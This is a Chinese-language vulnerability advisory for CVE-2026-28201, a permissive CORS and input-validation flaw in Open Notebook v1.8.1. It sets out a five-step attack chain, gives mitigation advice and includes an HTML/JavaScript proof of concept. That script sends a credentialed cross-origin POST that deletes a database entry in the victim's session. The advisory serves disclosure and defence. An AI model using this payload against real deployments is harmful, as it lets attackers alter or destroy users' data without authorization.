CVE-2026-28201 CVSS 7.8 高危

CVE-2026-28201: Open Notebook 输入验证与CORS配置漏洞

披露日期: 2026-05-07

来源: a6d3dc9e-0591-4a13-bce7-0f5b31ff6158

漏洞信息

漏洞编号

CVE-2026-28201

漏洞类型

输入验证不当, CORS配置错误

CVSS评分

7.8 高危

攻击向量

本地 (AV:L)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Open Notebook

漏洞概述

Open Notebook v1.8.1 存在严重安全漏洞，归因于输入验证机制缺失及默认CORS配置过于宽松。远程攻击者可构造恶意URL，诱骗合法用户进行交互，从而利用受害者的会话权限更改或删除任意数据库条目。此外，根据具体部署环境，该漏洞还可能被利用于窃取敏感数据，对系统的机密性、完整性和可用性构成极高威胁。

技术细节

该漏洞的核心成因在于Open Notebook v1.8.1未能对用户输入进行严格的验证，且默认的跨域资源共享（CORS）配置过于宽松。具体而言，应用程序未正确限制Access-Control-Allow-Origin头部，允许任意来源的跨域请求。攻击者利用这一点，可以构造一个特制的恶意URL，其中包含旨在修改或删除数据库的参数。当受害者（已登录用户）被诱骗点击该链接时，浏览器会向Open Notebook服务器发送跨域请求。由于服务器缺乏输入验证，它直接解析了恶意URL中的参数，并执行了相应的数据库操作（如UPDATE或DELETE）。攻击者无需获取用户的密码，仅需利用用户的浏览器会话即可实现对数据库的非法篡改，严重威胁数据安全。

攻击链分析

STEP 1

侦察

攻击者识别出目标正在使用存在漏洞的 Open Notebook v1.8.1 版本。

STEP 2

构造载荷

攻击者利用输入验证缺失和CORS配置缺陷，编写包含恶意数据库操作指令（如删除条目）的URL或脚本。

STEP 3

社会工程学

攻击者通过网络钓鱼或其他方式，诱导拥有合法权限的用户点击恶意链接或访问包含脚本的页面。

STEP 4

执行攻击

受害者的浏览器在用户不知情的情况下，向Open Notebook服务器发送跨域请求，携带用户的认证凭证。

STEP 5

达成效果

服务器接收请求并执行数据库操作，导致数据被篡改或删除，甚至发生数据泄露。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!--
  PoC for CVE-2026-28201
  This script demonstrates the exploitation of the CORS misconfiguration
  and lack of input validation to delete a database entry.
-->
<html>
  <body>
    <script>
      // Target URL of the vulnerable Open Notebook instance
      const targetUrl = 'http://target-open-notebook.com/api/entries';
      
      // Malicious payload to delete an entry with ID 1
      const maliciousData = {
        id: '1',
        action: 'delete'
      };

      fetch(targetUrl, {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json'
        },
        body: JSON.stringify(maliciousData),
        credentials: 'include' // Sends cookies, utilizing the victim's session
      })
      .then(response => console.log('Attack executed with status:', response.status))
      .catch(error => console.error('Attack failed:', error));
    </script>
  </body>
</html>

影响范围

Open Notebook v1.8.1

防御指南

临时缓解措施

如果无法立即升级，请修改服务器配置以限制CORS来源为特定域名，并在应用层面对所有API请求进行严格的输入参数校验，拒绝包含非预期操作的请求参数。同时，建议管理员定期审查数据库访问日志以检测异常操作。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表